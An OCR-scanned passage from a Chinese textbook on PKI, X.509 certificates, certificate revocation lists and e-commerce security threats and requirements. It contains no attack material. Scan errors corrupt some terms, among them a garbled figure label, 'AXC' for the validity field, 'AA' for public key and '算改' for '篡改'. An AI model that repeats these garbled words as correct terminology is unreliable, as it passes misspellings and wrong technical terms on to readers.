PKI 采用 数字 证 书 进行 公 钥 管 理 ,通过 第 三 方 的 可 信任 机 构 ( 认 证 中 心 CA) 把 用 户 的 
公 钥 和 用 户 的 标识 信息 捆绑 在 一 起 .包括 用 户 名 和 电子 邮件 地 址 等 信息 ,目的 在 于 为 用 户 提 
供 网 络 身份 验证 服务 。 

因此 ,所 有 提供 公 钥 加 密 和 数字 签名 服务 的 系统 都 可 归结 为 PKI 系统 的 一 部 分 ,PKI 
的 主要 目的 是 通过 自动 管理 密 钥 和 证 书 , 为 用 户 建立 起 一 个 安全 的 网 络 运 行 环境 ,使 用 户 可 
以 在 多 种 应 用 环境 下 应 用 PKI 提供 的 服务 ,从 而 实现 网 上 传输 数据 的 机 密 性 、 完 整 性 、 真 实 
性 和 有 效 性 要 求 。 

PKI 发 展 的 一 个 重要 方面 就 是 标准 化 问题 , 它 也 是 建立 互 操作 性 的 基础 。 目 前 ,PKI 标 
准 化 主要 有 两 个 方面 : 一 是 RSA 公司 的 公 钥 加 密 标 准 PKCS(Public Key Cryptography 
Standards) , 它 定 义 了 许多 基本 PKI 部 件 ,包括 数字 签名 和 证 书 请 求 格式 等 ; 二 是 由 
Internet 工程 任务 组 IETF (Internet Engineering Task Force) 和 PKI 工作 组 (Public Key 
Infrastructure Working Group) 所 定义 的 一 组 具有 互 操作 性 的 公 钥 基础 设施 协议 PKIX 
(Public Key Infrastructure Using X. 509) . 即 支持 X. 509 的 公 钥 基础 的 架构 和 协议 。 

在 今后 很 长 的 一 段 时 间 内 ,PKCS 和 PKIX 将 会 并 存 , 大 部 分 的 PKI 产品 为 保持 兼容 
性 ,也 将 会 对 这 两 种 标准 进行 支持 。 

PKI 的 发 展 非常 快 ,已 经 从 几 年 前 的 理论 阶段 过 渡 到 目前 的 产品 阶段 ,并 且 出 现 了 大 量 
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的 成 熟 技术 .产品 和 解决 方案 , 正 逐 步 走向 成 熟 。 目 前 ;PKI 产 品 的 生产 广 家 很 多 ,有 代表 性 
的 主要 有 VeriSign 和 Entrust。 

VeriSign 作为 RSA 的 控股 公司 ,借助 RSA 成 熟 的 安全 技术 提供 了 PKI 产品 ,为 用 户 
之 间 的 内 部 信息 交互 提供 安全 保障 。 另 外 ,VeriSign 也 提供 对 外 的 CA 服务 ,包括 证 书 的 发 
布 和 管理 等 功能 ,并 且 同 一 些 大 的 生产 商 ( 如 Microsoft, Netscape 和 JavaSoft 等 ) 保 持 了 伙 
伴 关系 ,以 在 Internet 上 提供 代码 签名 服务 。 

Entrust 作为 北方 电信 (Northern Telecom) 的 控股 公司 ,从 事 PKI 的 研究 与 产品 开发 
已 经 有 很 多 年 的 历史 了 , 且 一 直 在 业界 保持 领先 地 位 ,拥有 许多 成 熟 的 PKI 及 配套 产品 ,并 
提供 了 有 效 的 密 钥 管 理 功能 。 另 外 ,一 些 大 的 生产 商 ( 如 Microsoft, Netscape 和 Novell 等 ) 
都 开始 在 自己 的 网 络 基础 设施 产品 中 增加 了 PKI 功能 。 


10.4.2 PKI 的 组 成 


PKI 系统 由 认证 中 心 (Certificate Authority, CA) .证 书库 、 密 钥 备份 及 恢复 系统 .证书 
作废 处 理 系统 和 应 用 接口 等 部 分 组 成 ,如 图 10-3 所 示 。 


MGA wpe | Hanok] | EHTE | | 应 用 接口 


图 10-3 PKI 系 统 的 组 成 


1. 认证 中 心 (CA) 

CA 是 PKI 的 核心 ,是 数字 证 书 的 签发 机 构 。 构 建 PKI 平 台 的 核心 内 容 是 如 何 实 现 密 
钥 管 理 。 公 钥 密 码 体制 包括 公 钥 和 私 钥 ,其 中 私 钥 由 用 户 秘密 保管 ,无 须 在 网 上 传送 ; AA 
则 是 公开 的 ,可 以 在 网 上 传送 。 因 此 , 密 钥 管理 实质 上 是 指 公 钥 的 管理 ,目前 较 好 的 解决 方 
案 是 引入 数字 证 书 (Certificate)。 

CA 的 功能 有 证 书 发 放 , 证 书 更 新 、 证 书 撤销 和 证 书 验 证 。CA 的 核心 功能 就 是 发 放 和 
管理 数字 证 书 。CA 主要 由 注册 服务 器 、 注 册 机 构 RA (Registry Authority, 负 责 证 书 申请 
受理 审核 ) 和 认证 中 心服 务 器 三 部 分 组 成 。 

2. 证 书库 

证 书库 就 是 证 书 的 集中 存放 地 ,包括 LDAP 目录 服务 器 和 普通 数据 库 , 用 于 对 用 户 申 
请 证书、 密 钥 .CRL 和 日 志 等 信息 进行 存储 和 管理 ,并 提供 一 定 的 查询 功能 。 一 般 来 说 ,为 
了 获得 及 时 的 服务 ,证 书库 的 访问 和 查询 操作 时 间 必 须 尽 量 的 短 ,证 书 和 证 书 撤销 信息 必须 
尽量 小 ,这 样 才能 减少 总 共 要 消耗 的 网 络 带 宽 。 

3. 密 钥 备份 及 恢复 系统 

如 果 用 户 丢 失 了 用 于 解密 数据 的 密 钥 , 则 密 文 数据 将 无 法 被 解密 ,造成 数据 的 丢失 。 为 
了 避免 这 种 情况 的 出 现 ,PKI 应 该 提供 备份 与 恢复 解 秘密 钥 的 机 制 。 密 钥 的 备份 与 恢复 应 
该 由 可 信 的 机 构 来 完成 ,认证 中 心 (CA) 可 以 充当 这 一 角色 。 
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4. 证 书 作废 处 理 系统 

证 书 作废 处 理 系统 是 PKI 的 一 个 重要 的 组 件 。 同 日 常生 活 中 的 各 种 证 件 一 样 , 证 书 在 
CA 为 其 签署 的 有 效 期 以 内 也 可 能 需要 作废 。 为 实现 这 一 点 ,PKI 必须 提供 作废 证 书 的 一 
系列 机 制 。 作 废 证 书 一 般 通 过 将 证 书 列 入 作废 证 书 列表 (CRL) 来 完成 。 证 书 的 作废 处 理 必 
须 在 安全 及 可 验证 的 情况 下 进行 ,系统 还 必须 保证 CRL 的 完整 性 。 

5. 应 用 接口 


PKI 的 价值 在 于 使 用 户 能 够 方便 地 使 用 加 密 、 数 字 签 名 等 安全 服务 ,因此 一 个 完整 的 
PKI 必须 提供 良好 的 应 用 接口 系统 ,使 得 各 种 各 样 的 应 用 能 够 以 安全 一致, 可 信 的 方式 与 
PKI 交互 ,确保 所 建立 起 来 的 网 络 环境 的 可 信 性 ,同时 降低 管理 维护 成 本 。 


10.4.3 数字 证 书 


数字 证 书 是 网 络 用 户 身份 信息 的 一 系列 数据 ,用 来 在 网 络 通信 中 识别 通信 各 方 的 身份 。 
1978 年 Kohnfelder 在 其 学 士 论 文 4 发 展 一 种 实用 的 公 钥 密码 系统 》 中 第 一 次 引入 了 数字 证 
书 的 概念 。 数 字 证 书包 含 ID、 公 钥 和 颁发 机 构 的 数字 签名 等 内 容 。 

数字 证 书 的 形式 主要 有 X. 509 公 钥 证 书 、 简 单 PKI(Simple Public Key Infrastructure) 
证 书 `.PGP(Pretty Good Privacy) 证 书 和 属性 (Attribute) 证 书 。 

1. 数字 证 书 的 格式 

为 保证 证 书 的 真实 性 和 完整 性 ,证书 均 由 其 颁发 机 构 进行 数字 签名 。X. 509 公 角 证书 
是 专 为 Internet 的 应 用 环境 而 制定 的 ,但 很 多 建议 都 可 以 应 用 于 企业 环境 。 第 3 版 的 证 书 
结构 如 下 所 述 。 

(1) 版 本 号 (Version Number): 标示 证 书 的 版 本 (版 本 1 ,版 本 2 或 版 本 3)。 

(2) 序列 号 (Serial Number): 由 证 书 颁发 者 分 配 的 本 证 书 的 唯一 标识 符 。 特 定 CA 颁 
发 的 每 一 个 证 书 的 序列 号 都 是 唯一 的 。 

(3) 签名 (Signature) : 签名 算法 标识 符 ( 巾 对 象 标识 符 加 上 相关 参数 组 成 ) 用 于 说 明 本 
证 书 所 用 的 数字 签名 算法 ,同时 还 包括 该 证 书 的 实际 签名 值 。 例 如 ,典型 的 签名 算法 标识 符 
“MD5WithRSAEncription” 表 明 采 用 的 散 列 算法 是 MD5( 由 RSA Labs 定义 ), 采 用 的 加 密 
算法 是 RSA 算法 。 

(4) 颁发 者 (Issuer): 用 于 标识 签发 证 书 的 认证 机 构 , 即 证 书 颁发 者 的 可 识别 名 (DN)， 
这 是 必须 说 明 的 。 

(5) AXC Validity): 证 书 有 效 的 时 间 段 ,由 开始 日 期 (Not Valid Before) 和 终止 日 期 
(NotValid After) 两 项 组 成 。 日 期 分 别 由 UTC 时 间或 一 般 的 时 间 表 示 。 

(6) 主体 (Subject) : 证 书 持 有 者 的 可 识别 名 ,此 字段 必须 是 非 空 的 ,除非 使 用 了 其 他 的 
名 字形 式 (参见 后 文 的 扩展 字段 )。 

(7) 主体 公 钥 信息 (Subject Public Key Info): 主体 的 公 钥 及 算法 标识 符 , 这 一 项 是 必 
须 的 。 

(8) 颁发 者 唯一 标识 符 (Issuer Unique Identifier): 证 书 颁发 者 可 能 重 名 ,该 字段 用 于 
唯一 标识 的 该 颁发 者 , 仅 用 于 版 本 2 和 版 本 3 的 证 书 中 ,属于 可 选项 。 

(9) 主体 唯一 标识 符 (Subject Unique Identifier); 证 书 持 有 者 可 能 重 名 ,该 字段 用 于 唯 
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一 标识 的 该 持 有 者 , 仅 用 于 版 本 2 和 版 本 3 的 证 书 中 ,属于 可 选项 。 

(10) 扩展 (Extension) : 扩展 增加 了 证 书 使 用 的 灵活 性 ,能 够 在 不 改变 证 书 格式 的 情况 
下 ,在 证 书 中 加 入 额外 的 信息 。 扩 展 项 分 为 标准 扩展 和 专用 扩展 ,标准 扩展 由 X. 509 EX, 
专用 扩展 可 以 由 任何 组 织 自行 定义 。 因 此 ,不 同 组 织 机 构 定 义 和 接 受 的 专用 扩展 集 各 不 
相同 。 

证 书 扩展 包括 一 个 标记 ,用 于 指示 该 扩展 是 否 必须 是 关键 扩展 。 关 键 标志 的 普遍 含义 
是 , 当 它 的 值 为 真 时 ,表明 该 扩展 必须 被 处 理 。 如 果 证 书 用 户 不 能 识别 或 者 不 能 处 理 含有 关 
键 标志 的 证 书 , 则 必须 认为 该 证 书 无 效 。 如 果 一 个 扩展 未 被 标记 为 关键 扩展 ,那么 证 书 用 户 
可 以 忽略 该 扩展 。 

2. 证 书 撤销 列表 

证 书 撤销 列表 (Certificate Revocation Lists. CRL) 又 称 为 证 书 黑 名 单 。 证 书 是 有 期 限 
的 ,只 有 在 有 效 期 内 才 是 有 效 的 。 但 是 ,在 特殊 情况 下 ,如 密 钥 泄露 或 工作 调动 时 ,必须 强制 
使 该 相关 证 书 失效 。 证 书 撤销 的 方法 很 多 ,其 中 最 常用 的 方法 是 由 权威 机 构 定 期 发 布 证 书 
撤销 列表 。 证 书 撤销 列表 的 格式 如 下 所 述 。 

A) CRL 的 版 本 号 : 0 表示 X. 509 vl 标准 ; 1 表示 X. 509 v2 标准 。 目 前 常用 的 是 同 
X. 509 v3 证 书 对 应 的 CRL v2 版 本 。 

(2) 签名 (Signature) : 包含 算法 标识 和 算法 参数 ,用 于 指定 证 书签 发 机 构 对 CRL 内 容 
进行 签名 的 算法 。 

(3) 颁发 者 (Issuer): 签发 机 构 的 DN 名 ,由 国家 ,省 市 .地 区 、 组 织 机 构 , 单 位 部 门 和 通 
用 名 等 组 成 。 

(4) 本 次 更 新 (The Update): 此 次 CRL 签发 时 间 , 遵 循 ITU-T X. 509 v2 标准 的 CA 
在 2049 年 之 前 把 这 个 域 编码 为 UTC Time 类 型 ,在 2050 年 或 2050 年 之 后 把 这 个 域 编码 为 
Generalized Time 类 型 。 

(5) 下 次 更 新 (Next Update): 下 次 CRL 签发 时 间 ,遵循 ITU-T X. 509 v2 标准 的 CA 
在 2049 年 之 前 把 这 个 域 编码 为 UTC Time 类 型 ,在 2050 年 或 2050 年 之 后 把 这 个 域 编码 为 
Generalized Time 类 型 , 

(6) 撤销 的 证 书 列表 (Certificate List) : 撤销 证 书 的 列表 ,每 个 证 书 对 应 一 个 唯一 的 标 
识 符 ( 即 它 含有 已 撤销 证 书 的 唯一 序列 号 ,不 是 实际 的 证 书 )。 在 列表 中 的 每 一 项 都 含有 该 
证 书 被 撤销 的 时 间作 为 可 选项 。 

(7) 扩展 (Extension) : 在 CRL 中 也 可 包含 扩展 项 来 说 明 更 详尽 的 撤销 信息 。 

3. 证 书 的 存放 

数字 证 书 作为 一 种 电子 数据 ,可 以 直接 从 网 上 下 载 ,也 可 以 通过 其 他 方式 获得 。 

(1) 使 用 IC 卡 存放 用 户 证 书 , 即 把 用 户 的 数字 证 书写 到 IC 卡 中 供用 户 随 身 携带 。 

(2) 用 户 证 书 直接 存放 在 磁盘 或 自己 的 终端 上 。 用 户 将 从 CA 申请 来 的 证 书 下 载 或 复 
制 到 磁盘 或 自己 的 PC 或 智能 终端 上 , 当 用 户 使 用 时 ,直接 从 终端 读 人 即 可 。 

(3) CRL 一 般 通 过 网 上 下 载 的 方式 存储 在 用 户 端 。 

4. 证 书 的 申请 和 撤销 

D 证 书 的 申请 
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证 书 的 申请 有 两 种 方式 ,一 是 在 线 申请 , 二 是 离线 申请 。 在 线 申请 就 是 利用 浏览 器 或 
其 他 应 用 系统 通过 在 线 的 方式 来 申请 证 书 , 这 种 方式 一 般 用 于 申请 普通 用 户 证 书 或 测试 证 
书 。 离 线 申 请 一 般 通过 人 工 的 方式 直接 到 证 书 机 构 证 书 受理 点 去 办 理 证 书 申请 手续 ,通过 
审核 后 获取 证 书 , 这 种 方式 一 般 用 于 比较 重要 的 场合 ,如 服务 器 证 书 和 商家 证 书 等 。 下 面 讨 
论 的 主要 是 在 线 申请 方式 。 

证 书 申请 的 步骤 如 下 。 

(1) 用 户 申 请 。 用 户 首先 下 载 CA 的 数字 证 书 , 然 后 在 证 书 的 申请 过 程 中 使 用 SSL 安 
全 方式 与 服务 器 建立 连接 ,用 户 填写 个 人 信息 ,浏览 器 生成 私 钥 和 公 钥 对 ,将 私 钥 保存 至 客 
户 端 特 定 的 文件 中 ,并 且 要 求 用 口令 保护 私 钥 , 同 时 将 公 钥 和 个 人 信息 提交 给 安全 服务 器 。 
安全 服务 器 将 用 户 的 申请 信息 传送 给 注册 机 构 服 务 器 。 

(2) 注册 机 构 审核 。 用 户 与 注册 机 构 人 员 联系 , 证 明 自 己 的 真实 身份 ,或 者 请 求 代理 人 
与 注册 机 构 联 系 。 注 册 机 构 操作 员 利 用 自己 的 浏览 器 与 注册 机 构 服务 器 建立 SSL 安全 通 
信 ,该 服务 器 需要 对 操作 员 进 行 严 格 的 身份 认证 ,包括 操作 员 的 数字 证 书 、.IP 地 址 ,为 了 进 
一 步 保 证 安全 性 ,可 以 设置 固定 的 访问 时 间 。 操 作 员 首先 查看 目前 系统 中 的 申请 人 员 ,从 列 
表 中 找 出 相应 的 用 户 , 单 击 用 户 名 ,核对 用 户 信息 ,并 且 可 以 进行 适当 的 修改 。 如 果 操 作 员 
同意 用 户 申请 证 书 请 求 , 则 必须 对 证 书 申请 信息 进行 数字 签名 ; 操作 员 也 有 权利 拒绝 用 户 
的 申请 。 

操作 员 与 服务 器 之 间 的 所 有 通信 都 采用 加 密 和 签名 ,具有 安全 性 、 抗 否认 性 ,保证 了 系 
统 的 安全 性 和 有 效 性 。 

G) CA 发 行 证 书 。 注 册 机 构 RA 通过 硬 复制 的 方式 向 CA 传输 用 户 的 证 书 申请 与 操 
作 员 的 数字 签名 ,CA 操作 员 查 看 用 户 的 详细 信息 ,并 且 验 证 操作 员 的 数字 签名 ,如 果 签 名 
验证 通过 , 则 同意 用 户 的 证 书 请 求 , 颁 发 证 书 , 然 后 CA 将 证 书 输出 。 如 果 CA 操作 员 发 现 
签名 不 正确 , 则 拒绝 证 书 申请 。CA 颁发 的 数字 证 书 中 包含 关于 用 户 及 CA 自身 的 各 种 信 
息 , 如 能 唯一 标识 用 户 的 姓名 及 其 他 标识 信息 ,个 人 的 E-mail 地 址 、 证 书 持 有 者 的 公 钥 。 
公 钥 用 于 为 证 书 持 有 者 加 密 敏感 信息 ,签发 个 人 证 书 的 认证 机 构 的 名 称 、 个 人 证 书 的 序列 号 
和 个 人 证 书 的 有 效 期 (证 书 有 效 起 止 日 期 ) 等 。 

(4) 注册 机 构 证 书 转发 。 注 册 机 构 RA 操作 员 从 CA 处 得 到 新 的 证 书 , 首 先 将 证 书 输 
出 到 LDAP 目录 服务 器 以 提供 目录 浏览 服务 ,最 后 操作 员 向 用 户 发 送 一 封 电 子 邮 件 ,通知 
用 户 证 书 已 经 发 行 成 功 ,并 且 把 用 户 的 证 书 序 列 号 告诉 用 户 , 由 用 户 到 指定 的 网 址 去 下 载 自 
己 的 数字 证 书 , 并 且 告 诉 用 户 如 何 使 用 安全 服务 器 上 的 LDAP 配置 ,让 用 户 修改 浏览 器 的 
客户 端 配置 文件 ,以 便 访问 LDAP 服务 器 ,获得 他 人 的 数字 证 书 。 

(5) 用 户 证 书 获取 。 用 户 使 用 申请 证 书 时 的 浏览 器 到 指定 的 网 址 ,输入 自己 的 证 书 序 
列 号 。 服 务 器 要 求 用 户 必须 使 用 申请 证 书 时 的 浏览 器 ,因为 浏览 器 需要 用 该 证 书 相 应 的 私 
钥 去 验证 数字 证 书 , 只 有 保存 了 相应 私 钥 的 浏览 器 ,才能 成 功 下 载 用 户 的 数字 证 书 。 这 时 用 
户 打 开 浏 览 器 的 安全 属性 ,就 可 以 发 现 自己 已 经 拥有 了 CA 颁发 的 数字 证 书 ,可 以 利用 该 数 
字 证 书 与 其 他 人 以 及 Web 服务 器 (拥有 相同 CA 颁发 的 证 书 ) 使 用 加 密 、 数 字 签 名 进行 安全 
通信 。 

2) 证 书 的 撤销 

证 书 撤销 的 步骤 如 下 。 
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(1) 用 户 向 注册 机 构 操 作 员 CRL Manager 发 送 一 封 签名 加 密 的 邮件 ,声明 自己 自愿 撤 
销 证 书 。 

(2) 注册 机 构 同意 证 书 撤销 ,操作 员 输 入 用 户 的 序列 号 ,对 请 求 进 行 数字 签名 。 

(3) CA 查询 证 书 撤销 请 求 列 表 , 选 出 其 中 的 一 个 ,验证 操作 员 的 数字 签名 ,如果 正确 ， 
则 同意 用 户 的 证 书 撤销 申请 ,同时 更 新 CRL 列表 ,然后 将 CRL 以 多 种 格式 输出 。 

(4) 注册 机 构 转 发 证 书 撤销 列表 。 操 作 员 导 入 CRL, 以 多 种 不 同 的 格式 将 CRL 公布 于 众 。 

(5) 用 户 浏览 安全 服务 器 ,下 载 或 浏览 CRL。 

在 一 个 PKI( 特 别 是 CA) 中 ,信息 的 存储 是 一 个 核心 问题 , 它 包括 两 个 方面 : 一 个 是 CA 
服务 器 利用 数据 库 来 备份 当前 密 钥 和 归档 过 期 密 钥 ,该 数据 库 需 高 度 安全 和 机 密 , 其 安全 等 
级 同 CA 本 身 相同 ; 另 一 个 是 目录 服务 器 ,用 于 颁发 证 书 和 CRL, 一 般 采 用 LDAP 目录 服务 器 。 


10.5 电子 商务 安全 技术 


10.5.1 电子 商务 安全 问题 


电子 商务 的 安全 问题 主要 是 指 在 开放 的 网 络 环境 中 如 何 保证 信息 传递 中 的 完整 性 、 可 
靠 性 、 真 实 性 以 及 预防 未 经 授权 的 非法 入 侵 者 这 几 个 方面 的 问题 。 而 解决 这 些 问题 主要 是 
表现 在 技术 上 ,并 在 采用 和 实施 这 些 技术 的 经 济 可 行 性 上 。 这 方面 的 问题 是 电子 商务 安全 
考虑 和 研究 的 主要 问题 。 简 单 地 讲 ,一 是 技术 上 的 安全 性 ,二 是 安全 技术 的 实用 可 行 性 。 大 
量 的 事实 表明 ,安全 是 电子 商务 的 关键 问题 。 安 全 得 不 到 保障 ,即使 使 用 Internet 再 方便 ， 
电子 商务 也 无 法 得 到 广大 用 户 的 认可 。 

1. 电子 商务 的 安全 隐患 

与 现实 商务 不 同 , 参 与 电子 商务 的 各 方 不 需要 面对面 来 进行 商务 活动 ,信息 流 和 资金 流 
都 是 通过 Internet 来 传输 。 而 Internet 是 一 个 向 全 球 用 户 开放 的 巨大 网 络 ,其 技术 上 的 缺 
陷 和 用 户 使 用 中 的 不 良 习惯 ,使 得 电子 商务 中 的 信息 流 和 资金 流 在 通过 Internet 传输 时 , 存 
在 着 许多 安全 隐患 ,这 就 是 电子 商务 的 安全 问题 。 

1) 中 断 系统 一 一 破坏 系统 的 有 效 性 

网 络 故障 \ 操 作 错误 、 应 用 程序 错误 \ 硬 件 故障 、 系 统 软件 错误 及 计算 机 病毒 都 能 导致 系 
统 不 能 正常 工作 ,因而 要 对 由 此 所 产生 的 潜在 威胁 加 以 控制 和 预防 ,以 保证 贸易 数据 在 确定 
的 时 刻 、 确 定 的 地 点 是 有 效 的 。 

2) 窃听 信息 一 一 破坏 系统 的 机 密 性 

电子 商务 作为 贸易 的 一 种 手段 ,其 信息 直接 代表 着 个 人 ,企业 或 国家 的 商业 机 密 。 传 统 
的 纸 面 贸 易 都 是 通过 邮寄 封装 的 信件 或 通过 可 靠 的 通信 渠道 发 送 商 业 报 文 来 达到 保守 机 密 
的 目的 。 电 子 商务 是 建立 在 一 个 较为 开放 的 网 络 环 境 上 的 ,维护 商业 机 密 是 电子 商务 全 面 
推广 应 用 的 重要 保障 。 因 此 ,要 预防 通过 搭 线 和 电磁 泄露 等 手段 造成 信息 泄露 ,或 对 业务 流 
量 进行 分 析 从 而 获取 有 价值 的 商业 情报 等 一 切 损害 系统 机 密 性 的 行为 。 

3) 算 改 信息 一 一 破坏 系统 的 完整 性 

电子 商务 简化 了 贸易 过 程 ,减少 了 人 为 的 干预 ,同时 也 带 来 维护 贸易 各 方 商业 信息 的 完 
整 ,统一 的 问题 。 由 于 数据 输入 时 的 意外 差错 或 欺诈 行为 ,可 能 导致 贸易 各 方 信息 的 差异 。 
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此 外 ,数据 传输 过 程 中 信息 的 丢失 、 信 息 重 复 或 信息 传送 的 次 序 差 异 也 会 导致 贸易 各 方 信 息 
的 不 同 。 贸 易 各 方 信息 的 完整 性 将 影响 到 贸易 各 方 的 交易 和 经 营 策略 ,保持 贸易 各 方 信息 
的 完整 性 是 电子 商务 应 用 的 基础 。 因 此 ,要 预防 对 信息 的 随意 生成 、 修 改 和 删除 ,同时 要 防 
止 数据 传送 过 程 中 信息 的 丢失 和 重复 并 保证 信息 传送 次 序 的 统一 。 

4) 伪造 信息 一 一 破坏 系统 的 可 靠 性 、 真 实 性 

电子 商务 可 能 直接 关系 到 贸易 双方 的 商业 交易 ,如何 确定 要 进行 交易 的 贸易 方正 是 进 
行 交易 所 期 望 的 贸易 方 这 一 问题 则 是 保证 电子 商务 顺利 进行 的 关键 。 在 传统 的 纸 面 贸易 
中 ,贸易 双方 通过 在 交易 合同 契约 或 贸易 单据 等 书面 文件 上 手写 签名 或 印 童 来 鉴别 贸易 伙 
伴 , 确 定 合同 、 契 约 、 单 据 的 可 靠 性 并 预防 抵赖 行为 的 发 生 ,这 也 就 是 人 们 常 说 的 “ 白 纸 黑 
字 ”。 在 无 纸 化 的 电子 商务 方式 下 ,通过 手写 签名 和 印章 进行 贸易 方 的 鉴别 已 是 不 可 能 的 。 
因此 ,要 在 交易 信息 的 传输 过 程 中 为 参与 交易 的 个 人 、 企 业 或 国家 提供 可 靠 的 标识 。 

2. 电子 商务 给 交易 双方 带 来 的 安全 威胁 

在 传统 交易 过 程 中 ,买卖 双方 是 面对面 的 ,因此 很 容易 保证 交易 过 程 的 安全 性 和 建立 起 
信任 关系 。 但 在 电子 商务 过 程 中 ,买卖 双方 是 通过 网 络 来 联系 的 ,而 且 彼此 远 隔 千 山 万 水 。 
由 于 因特网 既 不 安全 也 不 可 信 ,因而 建立 交易 双方 的 安全 和 信任 关系 相当 困难 。 电 子 商务 
交易 双方 (销售 者 和 购买 者 ) 都 面临 不 同 的 安全 威胁 。 

对 销售 者 而 言 ,他 面临 的 安全 威胁 主要 有 以 下 几 个 方面 。 

(1) 中 央 系统 安全 性 被 破坏 。 入 侵 者 假冒 成 合法 用 户 来 改变 用 户 数 据 ( 如 商品 送 达 地 
HED 、 解 除 用 户 订 单 或 生成 虚假 订单 。 

(2) 竞争 者 检索 商品 递送 状况 。 恶 意 竞 争 者 以 他 人 的 名 义 来 订购 商品 ,从 而 了 解 有 关 
商品 的 递送 状况 和 货物 的 库存 情况 。 

(3) 客户 资料 被 竞争 者 获悉 。 

(4) 被 他 人 假冒 而 损害 公司 的 信誉 。 不 诚实 的 人 建立 与 销售 者 服务 器 名 字 相 同 的 另 一 


个 服务 器 来 假冒 销售 者 。 
(5) 消费 者 提交 订单 后 不 付款 。 
(6) 虚假 订单 。 


(7) 获取 他 人 的 机 密 数 据 。 例 如 , 某 人 想 要 了 解 另 一 人 在 销售 商 处 的 信誉 时 ,他 以 另 一 
人 的 名 字 向 销售 商 订购 昂贵 的 商品 ,然后 观察 销售 商 的 行动 。 假 如 销售 商 认可 该 订单 , 则 说 
明 被 观察 者 的 信誉 高 ; 否则 , 则 说 明 被 观察 者 的 信誉 不 高 。 

对 购买 者 而 言 ,他 面临 的 安全 威胁 主要 有 以 下 几 个 方面 。 

(1) 虚假 订单 。 一 个 假冒 者 可 能 会 以 客户 的 名 字 来 订购 商品 ,而 且 有 可 能 收 到 商品 ,而 
此 时 客户 却 被 要 求 付款 或 返还 商品 。 

(2) 付款 后 不 能 收 到 商品 。 在 要 求 客户 付款 后 ,销售 商 中 的 内 部 人 员 不 将 订单 和 钱 转 
发 给 执行 部 门 , 因 而 使 客户 不 能 收 到 商品 。 

(3) 机 密 性 丧失 。 客 户 有 可 能 将 秘密 的 个 人 数据 或 自己 的 身份 数据 (如 账号 口令 等 ) 
发 送 给 冒充 销售 商 的 机 构 ,这 些 信息 也 可 能 会 在 传递 过 程 中 被 窃取 。 

(4) 拒绝 服务 。 攻 击 者 可 能 向 销售 商 的 服务 器 发 送 大 量 的 虚假 订单 来 穷竭 它 的 资源 ， 
从 而 使 合法 用 户 不 能 得 到 正常 的 服务 。 
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10.5.2 电子 商务 安全 需求 


电子 商务 安全 问题 的 核心 和 关键 是 电子 交易 的 安全 性 。 由 于 Internet 本 身 的 开放 性 以 
及 目前 网 络 技术 发 展 的 局 限 性 ,使 网 上 交易 面临 着 种 种 安全 性 威胁 ,也 由 此 提出 了 相应 的 安 
全 控制 要 求 。 

1. 身份 的 可 认证 性 

身份 的 可 认证 性 是 指 交 易 双 方 在 进行 交易 前 应 能 鉴别 和 确认 对 方 的 身份 。 在 传统 的 交 
易 中 ,交易 双方 往往 是 面对面 进行 活动 的 ,这 样 很 容易 确认 对 方 的 身份 。 即 使 开始 不 熟悉 、 
不 能 确信 对 方 ,也 可 以 通过 对 方 的 签名 .印章 .证书 等 一 系列 有 形 的 身份 赁 证 来 鉴别 他 的 身 
份 。 另 外 ,在 传统 的 交易 中 如 果 是 采用 电话 进行 通信 ,也 可 以 通过 声音 信号 来 识别 对 方 身 
份 。 然 而 ,参与 网 上 交易 的 双方 往往 素 不 相识 甚至 远 隔 万 里 ,并 且 在 整个 交易 过 程 中 都 可 能 
不 见 一 面 。 因 此 ,如 果 不 采 取 任 何 新 的 保护 措施 ,就 要 比 传 统 的 商务 更 容易 引起 假冒 ,诈骗 
等 违法 活动 。 例 如 ,在 进行 网 上 购物 时 ,对 于 客户 来 说 ,如 何 确 信 计 算 机 屏幕 上 显示 的 页 面 
就 是 大 家 所 说 的 那个 有 名 的 网 上 商店 ,而 不 是 居心 不 良 的 黑客 冒充 的 呢 ? 同样, 对 于 商家 来 
说 ,怎样 才能 相信 正在 选 购 商品 的 客户 不 是 一 个 骗子 ,而 是 一 个 当 发 生意 外 事件 时 能 够 承担 
责任 的 客户 呢 ? 

因此 ,电子 交易 的 首要 安全 需求 就 是 要 保证 身份 的 可 认证 性 。 这 就 意味 着 ,在 双方 进行 
交易 前 ,首先 要 能 确认 对 方 的 身份 ,要 求 交易 双方 的 身份 不 能 被 假冒 或 伪装 。 

2. 信息 的 保密 性 

信息 的 保密 性 是 指 对 交换 的 信息 进行 加 密 保 护 , 使 其 在 传输 过 程 或 存储 过 程 中 不 被 他 
人 所 识别 。 在 传统 的 贸易 中 ,一 般 都 是 通过 面对面 的 信息 交换 ,或 者 通过 邮寄 封装 的 信件 或 
可 靠 的 通信 渠道 发 送 商 业 报 文 ,达到 保守 商业 机 密 的 目的 。 而 电子 商务 是 建立 在 一 个 开放 
的 网 络 环境 下 , 当 交易 双方 通过 Internet 交换 信息 时 ,因为 Internet 是 一 个 开放 的 公用 互联 
网 络 ,如 果 不 采取 适当 的 保密 措施 ,那么 其 他 人 就 有 可 能 知道 他 们 的 通信 内 容 ; 另外 ,存储 
在 网 络 的 文件 信息 如 果 不 加 密 , 也 有 可 能 被 黑客 窃取 。 上 述 种 种 情况 都 有 可 能 造成 敏感 商 
业 信 息 的 泄露 ,导致 商业 上 的 巨大 损失 。 例 如 ,如 果 客 户 的 信用 卡 的 账号 和 用 户 名 被 人 知 
悉 ,就 可 能 被 盗用 ; 如 果 企业 的 订货 和 付款 的 信息 被 竞争 对 手 获悉 ,就 可 能 丧失 商机 。 

因此 ,电子 商务 另 一 个 重要 的 安全 需求 就 是 信息 的 保密 性 。 这 意味 着 ,一定 要 对 敏感 重 
要 的 商业 信息 进行 加 密 , 即 使 别人 截获 或 窃取 了 数据 ,也 无 法 识别 信息 的 真实 内 容 , 这 样 就 
可 以 使 商业 机 密 信息 难以 被 泄露 。 

3. 信息 的 完整 性 

信息 的 完整 性 指 确 保 信息 在 传输 过 程 中 的 一 致 性 ,并 且 不 被 未 经 授权 者 所 算 改 ,也 称 为 
不 可 修改 性 。 上 面 所 讨论 的 信息 保密 性 ,是 针对 网 络 面临 的 被 动 攻 击 一 类 威胁 而 提出 的 安 
全 需求 ,但 它 不 能 避免 针对 网 络 所 采用 的 主动 攻击 一 类 的 威胁 。 所 谓 被 动 攻击 ,就 是 不 修改 
任何 交易 信息 ,但 通过 截获 窃取、 观察 ,监听 、 分 析 数 据 流 获得 有 价值 的 情报 。 而 主动 攻击 
